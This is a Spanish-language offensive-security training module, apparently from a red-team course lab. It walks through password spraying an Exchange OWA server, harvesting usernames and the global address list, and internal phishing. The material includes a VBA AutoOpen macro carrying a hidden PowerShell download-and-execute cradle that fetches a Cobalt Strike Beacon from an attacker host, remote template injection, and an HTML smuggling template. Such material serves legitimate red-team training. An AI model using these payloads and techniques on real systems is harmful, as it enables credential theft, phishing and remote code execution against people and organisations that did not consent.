Initial Compromise
Initial Compromise
Estos ejercicios ahora se pueden realizar en el laboratorio.
Vamos a atacar el servicio OWA Exchange en mail.cyberbotic.io que encontramos durante el reconocimiento externo.
Password Spraying
Password spraying es una técnica efectiva para descubrir contraseñas débiles que los usuarios son conocidos por utilizar. Patrones como MonthYear (August2019), SeasonYear (Summer2019) y DayDate (Tuesday6) son muy comunes.
Ten cuidado con las localizaciones, por ejemplo, Autumn vs Fall.
Dos herramientas excelentes para password spraying contra Office 365 y Exchange son MailSniper y SprayingToolkit. En la VM Attacker Desktop, abre PowerShell e importa MailSniper.ps1.
PS C:\Users\Attacker> ipmo C:\Tools\MailSniper\MailSniper.ps1
Info
Primero tendrás que deshabilitar la protección en tiempo real de Defender.
Enumera el nombre NetBIOS del dominio objetivo con Invoke-DomainHarvestOWA.
PS C:\Users\Attacker> Invoke-DomainHarvestOWA -ExchHostname mail.cyberbotic.io
[*] Harvesting domain name from the server at mail.cyberbotic.io
The domain appears to be: CYBER or cyberbotic.io
A continuación, necesitamos encontrar nombres de usuario válidos desde la lista de usuarios enumerados desde https://cyberbotic.io.
ubuntu@DESKTOP-3BSK7NO ~> cd /mnt/c/Users/Attacker/Desktop/
ubuntu@DESKTOP-3BSK7NO /m/c/U/A/Desktop> cat names.txt
Bob Farmer
Isabel Yates
John King
Joyce Adams
namemash.py es un script en python que he usado desde siempre. Tomará el nombre completo de una persona y lo transformará en posibles permutaciones de nombres de usuario.
ubuntu@DESKTOP-3BSK7NO /m/c/U/A/Desktop> ~/namemash.py names.txt > possible.txt
ubuntu@DESKTOP-3BSK7NO /m/c/U/A/Desktop> head -n 5 possible.txt
bobfarmer
farmerbob
bob.farmer
farmer.bob
farmerb
Info
Podríamos omitir este paso si supiéramos el formato de la dirección de correo electrónico desde algún lugar como hunter.io.
Invoke-UsernameHarvestOWA utiliza un ataque de temporización para validar cuáles (si los hay) de estos nombres de usuario son válidos.
PS C:\Users\Attacker> Invoke-UsernameHarvestOWA -ExchHostname mail.cyberbotic.io -Domain cyberbotic.io -UserList .\Desktop\possible.txt -OutFile .\Desktop\valid.txt
[*] Now spraying the OWA portal at https://10.10.15.100/owa/
Determining baseline response time...
Response Time (MS) Domain\Username
763 cyberbotic.io\OkAJfr
738 cyberbotic.io\UGVuQv
750 cyberbotic.io\ztHyFf
749 cyberbotic.io\dsLWDY
762 cyberbotic.io\YgFBIP
Baseline Response: 752.4
Threshold: 460.44
Response Time (MS) Domain\Username
[*] Potentially Valid! User:cyberbotic.io\bfarmer
[*] Potentially Valid! User:cyberbotic.io\iyates
[*] Potentially Valid! User:cyberbotic.io\jking
[*] A total of 3 potentially valid usernames found.
Results have been written to .\Desktop\valid.txt.
MailSniper puede rociar contraseñas contra las cuentas válidas identificadas usando Outlook Web Access (OWA), Exchange Web Services (EWS) y Exchange ActiveSync (EAS).
PS C:\Users\Attacker> Invoke-PasswordSprayOWA -ExchHostname mail.cyberbotic.io -UserList .\Desktop\valid.txt -Password Summer2022
[*] Now spraying the OWA portal at https://mail.cyberbotic.io/owa/
[*] SUCCESS! User:cyberbotic.io\iyates Password:Summer2022
[*] A total of 1 credentials were obtained.
OPSEC
En el mundo real, ten en cuenta que estos intentos de autenticación pueden contar para la política de bloqueo de dominio para los usuarios. Demasiados intentos en un corto período de tiempo no solo son ruidosos, sino que también pueden bloquear las cuentas.
Podemos realizar más acciones usando MailSniper con credenciales válidas, como descargar la lista global de direcciones.
PS C:\Users\Attacker> Get-GlobalAddressList -ExchHostname mail.cyberbotic.io -UserName cyberbotic.io\iyates -Password Summer2022 -OutFile .\Desktop\gal.txt
[*] First trying to log directly into OWA to enumerate the Global Address List using FindPeople...
[*] This method requires PowerShell Version 3.0
[*] Using https://mail.cyberbotic.io/owa/auth.owa
[*] Logging into OWA...
[*] OWA Login appears to be successful.
[*] Retrieving OWA Canary...
[*] Successfully retrieved the X-OWA-CANARY cookie: inZQ6n60_UyNcY3V8sVYr1DImQcoetoIYpwY8yzSQWjVvGL9UusKPBKv5I4Og1zqe18vsxnG_sg.
[*] Retrieving AddressListId from GetPeopleFilters URL.
[*] Global Address List Id of b4477ba8-52b0-48bf-915e-d179db98788b was found.
[*] Now utilizing FindPeople to retrieve Global Address List
[*] Now cleaning up the list...
bfarmer@cyberbotic.io
iyates@cyberbotic.io
jking@cyberbotic.io
nglover@cyberbotic.io
nlamb@cyberbotic.io
[*] A total of 5 email addresses were retrieved
[*] Email addresses have been written to .\Desktop\gal.txt
Si hay nombres aquí que no encontramos durante el reconocimiento inicial, podemos volver atrás y hacer otra ronda de spraying contra ellos.
Password Spraying Demo
Internal Phishing
Abre un navegador en Attacker Desktop, navega a https://mail.cyberbotic.io e inicia sesión con las credenciales obtenidas.
Info
Aunque la etiqueta de texto dice Domain\username, el formato username@domain funciona perfectamente.
El acceso a uno o más buzones de correo internos abre muchas posibilidades. Podemos buscar correos electrónicos que puedan contener información sensible, como documentos, nombres de usuario y contraseñas; e incluso enviar correos electrónicos al personal en nombre del usuario comprometido. Podemos enviar archivos y/o enlaces que hayamos creado nosotros mismos, o incluso descargar un documento que ya esté en una bandeja de entrada, agregarle un backdoor (por ejemplo, con una macro) y enviarlo de vuelta a alguien.
Initial Access Payloads
Enviar un payload a los usuarios phished es una forma directa de obtener acceso inicial, ya que se ejecutará en su sistema. Hay, en general, dos opciones para entregar un payload.
- Enviar una URL donde se pueda descargar un payload.
- Adjuntar el payload al correo electrónico de phishing.
Una diferencia significativa (aparte de cómo se presenta al usuario) es que cualquier archivo descargado a través de un navegador (fuera de una zona de confianza) será marcado con el "Mark of the Web" (MOTW). En resumen, este es un flujo de datos incrustado en el archivo que indica que fue descargado desde una ubicación no confiable. Los datos de la zona pueden ser leídos con PowerShell.
PS C:\Users\bfarmer\Downloads> gc .\test.txt -Stream Zone.Identifier
[ZoneTransfer]
ZoneId=3
HostUrl=http://nickelviper.com/test.txt
Las zonas posibles son:
- 0 => Local computer
- 1 => Local intranet
- 2 => Trusted sites
- 3 => Internet
- 4 => Restricted sites
Los archivos con MOTW se manejan con un escrutinio de seguridad adicional; probablemente estés familiarizado con Windows SmartScreen y Office Protected View. A menudo, no impiden que los archivos sean abiertos o ejecutados, pero requieren que el usuario haga clic en más cuadros de advertencia, lo que reduce la probabilidad de que tu phishing sea exitoso. Si en MS Office está habilitada la opción "block macros downloaded from the Internet", un usuario no puede ejecutar un documento habilitado para macros incluso si quisiera hacerlo. Esto pronto será la configuración predeterminada.
Los archivos que se envían "internamente" a través de un buzón de Exchange comprometido no son etiquetados con un Zone Identifier.
Visual Basic for Applications (VBA) Macros
VBA es una implementación de Visual Basic que se utiliza ampliamente con las aplicaciones de Microsoft Office; a menudo se emplea para mejorar la funcionalidad en Word y Excel para el procesamiento de datos. La prevalencia de macros en el mundo comercial es un arma de doble filo cuando se trata de aprovechar las macros para fines maliciosos. Por un lado, la presencia de un documento con macros incrustadas no es necesariamente sospechosa; pero debido a que sí son utilizadas maliciosamente por actores de amenazas, también reciben más escrutinio tanto de productos técnicos (por ejemplo, puertas de enlace web/correo electrónico) como en entrenamientos de concienciación sobre seguridad.
Lanza Word en el escritorio del atacante.
Puedes crear una macro en un documento de Word yendo a View > Macros > Create. Cambia el campo "Macros in" de "All active templates and documents" a "Document 1". Dale un nombre a la macro y haz clic en Create. Para forzar que la macro se ejecute automáticamente cuando se abra el documento, utiliza el nombre AutoOpen.
Sub AutoOpen()
Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "notepad"
End Sub
Info
Si no puedes crear macros debido a la licencia de Office, sigue las instrucciones aquí.
"wscript" es el Windows Script Host, que está diseñado para la automatización. El método "shell" proporciona la capacidad de ejecutar comandos del sistema operativo. Para probar el código anterior, utiliza los botones de reproducir/pausar/detener.
A continuación, necesitamos reemplazar notepad con un payload de Beacon. El más fácil de aprovechar es el payload de PowerShell. En Cobalt Strike, ve a Attacks > Scripted Web Delivery (S) y genera un payload de PowerShell de 64 bits para tu listener HTTP. La ruta URI puede ser cualquiera, pero la mantendré como /a.
Esto generará un payload de PowerShell y lo alojará en el servidor del equipo para que pueda descargarse a través de HTTP y ejecutarse en memoria. Después de hacer clic en Launch, Cobalt Strike generará la línea de comando de PowerShell que hará exactamente eso.
Copia/pega esta línea en el VBA y asegúrate de agregar otro conjunto de comillas dobles alrededor del comando IEX. Debería verse así:
Shell.Run "powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://nickelviper.com/a'))"""
Para preparar el documento para su entrega, ve a File > Info > Inspect Document > Inspect Document, lo que abrirá el Document Inspector. Haz clic en Inspect y luego en Remove All junto a Document Properties and Personal Information. Esto es para evitar que el nombre de usuario en tu sistema quede incrustado en el documento.
A continuación, ve a File > Save As y guárdalo en C:\Payloads. Dale cualquier nombre de archivo, pero en el menú desplegable Save as type, cambia el formato de .docx a Word 97-2003 (.doc). Hacemos esto porque no puedes guardar macros dentro de un .docx y existe un estigma en torno a la extensión .docm habilitada para macros (por ejemplo, el ícono en miniatura tiene un enorme ! y algunas puertas de enlace web/correo electrónico los bloquean por completo). Encuentro que esta extensión heredada .doc es el mejor compromiso.
Luego queremos cargar este archivo al servidor del equipo también. Ve a Site Management > Host File y selecciona tu documento.
Aunque el editor de texto WYSIWYG en OWA admite HTML, no es muy bueno para redactar correos electrónicos ricos en HTML. Lo mejor que tiene son opciones de formato básicas, pero existe una solución un poco trucada, que es utilizar una plantilla HTML predefinida. Por ejemplo, aquí hay algunas plantillas HTML basadas en Office 365 (también se pueden encontrar copias en C:\Tools\PhishingTemplates). Abre una de ellas, por ejemplo, Word.html, en Edge u otro navegador. Sorprendentemente, lo que puedes hacer es presionar Ctrl + A y Ctrl + C para copiar el contenido; y luego Ctrl + V para pegarlo directamente en el editor de texto de OWA. Todo el formato de texto e imágenes debería preservarse.
Puedes cambiar los marcadores de posición de texto y la URL al payload en las líneas 160, 183, 192, 197 y 207. Mi URL de payload será http://nickelviper.com/ProductReport.doc.
Info
En el mundo real, podrías utilizar un servicio como OneDrive, ya que te proporcionaría un nombre de dominio más legítimo para usar.
Inicia sesión en Workstation 2 como Bob, abre Outlook y el correo electrónico llegará.
Al hacer clic en el enlace, se abrirá Edge y descargará automáticamente el documento. Debido a que el archivo se está descargando a través de un navegador, tendrá el MOTW. Por lo tanto, cuando se abra, estará primero en Protected View.
El usuario primero debe hacer clic en Enabled Editing y luego en Enable Content para ejecutar la macro. Si adjuntas el documento directamente al correo electrónico, no tendrá MOTW y, por lo tanto, no se abrirá en Protected View.
Muchas muestras de la vida real intentan atraer al usuario a hacer clic en este botón, generalmente diciendo algo como "Security Product XYZ ha escaneado el contenido y lo ha considerado seguro. Para revelar el contenido, haz clic en Enable Content".
Una vez que se hace clic, se abrirá brevemente una ventana de PowerShell y luego desaparecerá. Aparecerá un nuevo Beacon en Cobalt Strike.
VBA Macro Demo
Remote Template Injection
Microsoft Word tiene la opción de crear nuevos documentos a partir de una plantilla. Office tiene algunas plantillas preinstaladas, puedes crear plantillas personalizadas e incluso descargar nuevas. Remote Template Injection es una técnica donde un atacante envía un documento benigno a una víctima, el cual descarga y carga una plantilla maliciosa. Esta plantilla puede contener un macro, lo que lleva a la ejecución de código.
Abre Word en el escritorio del atacante, crea un nuevo documento en blanco e inserta el macro deseado. Guárdalo en C:\Payloads como un archivo Word 97-2003 Template (*.dot). Este es ahora nuestra "plantilla remota maliciosa". Usa Cobalt Strike para alojar este archivo en http://nickelviper.com/template.dot.
Luego, crea un nuevo documento desde la plantilla en blanco ubicada en C:\Users\Attacker\Documents\Custom Office Templates. Agrega cualquier contenido que desees y guárdalo en C:\Payloads como un nuevo archivo .docx. Navega al directorio en el explorador, haz clic derecho y selecciona 7-Zip > Open archive. Navega a word > _rels, haz clic derecho en settings.xml.rels y selecciona _Edit.
Este es solo un pequeño archivo XML. Desplázate hacia la derecha hasta que veas la entrada Target.
Target="file:///C:\Users\Attacker\Documents\Custom%20Office%20Templates\Blank%20Template.dotx"
Actualmente apunta a la plantilla en nuestro disco local desde donde se creó el documento. Simplemente modifica esto para que apunte a la URL de la plantilla en su lugar.
Target="http://nickelviper.com/template.dot"
Guarda esos cambios y envía el documento por correo electrónico a Bob. Una vez que se abra el archivo, verás una advertencia sobre macros nuevamente, pero permitir que se ejecuten activará el macro en la plantilla alojada, dándonos un Beacon.
John Woodman creó una herramienta en python que puede automatizar este proceso para que no tengamos que modificar el XML manualmente.
ubuntu@DESKTOP-3BSK7NO ~> python3 remoteinjector.py -w http://nickelviper.com/template.dot /mnt/c/Payloads/document.docx
URL Injected and saved to /mnt/c/Payloads/document_new.docx
Remote Template Injection Demo
HTML Smuggling
HTML smuggling es una técnica que utiliza JavaScript para ocultar archivos de los filtros de contenido. Si envías un correo de phishing con un enlace de descarga, el HTML podría verse algo así:
<a href="http://attacker.com/file.doc">Download Me</a>
Los escáneres de correo electrónico y web son capaces de analizarlos y tomar alguna acción. Es posible que sean eliminados por completo, o que el contenido del URL sea obtenido y analizado por un sandbox de AV. HTML smuggling nos permite evitar esto al incrustar el payload en el código fuente HTML y usar JavaScript para construir URLs en el navegador en tiempo de ejecución.
Esta es una plantilla básica basada en el trabajo de Stan Hegt.
<html>
<head>
<title>HTML Smuggling</title>
</head>
<body>
<p>This is all the user will see...</p>
<script>
function convertFromBase64(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
return bytes.buffer;
}
var file ='VGhpcyBpcyBhIHNtdWdnbGVkIGZpbGU=';
var data = convertFromBase64(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'test.txt';
if(window.navigator.msSaveOrOpenBlob) window.navigator.msSaveBlob(blob,fileName);
else {
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
}
</script>
</body>
</html>
Mientras esto viaja por la red, un escáner solo verá HTML y JavaScript. No hay hipervínculos codificados explícitamente y el tipo de contenido de la página en sí es simplemente text/html.
El contenido codificado en la variable file fue creado con:
ubuntu@DESKTOP-3BSK7NO ~> echo -en "This is a smuggled file" | base64
Cuando visitas esta página, el navegador reconstruirá y descargará automáticamente el archivo sin ninguna interacción del usuario.
Info
El servidor HTTP en Python es una manera rápida y sencilla de levantar un servidor web para pruebas.
attacker@ubuntu ~> python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.10.17.164 - - [09/Aug/2022 17:23:49] "GET /smuggle.html HTTP/1.1" 200 -
Los archivos descargados de esta manera aún retienen el MOTW y también están sujetos a las restricciones típicas del navegador (por ejemplo, advertencias al intentar descargar archivos EXE).
PS C:\Users\bfarmer\Downloads> gc .\test.txt -Stream Zone.Identifier
[ZoneTransfer]
ZoneId=3
ReferrerUrl=http://nickelviper.com/smuggle.html
HostUrl=http://nickelviper.com/









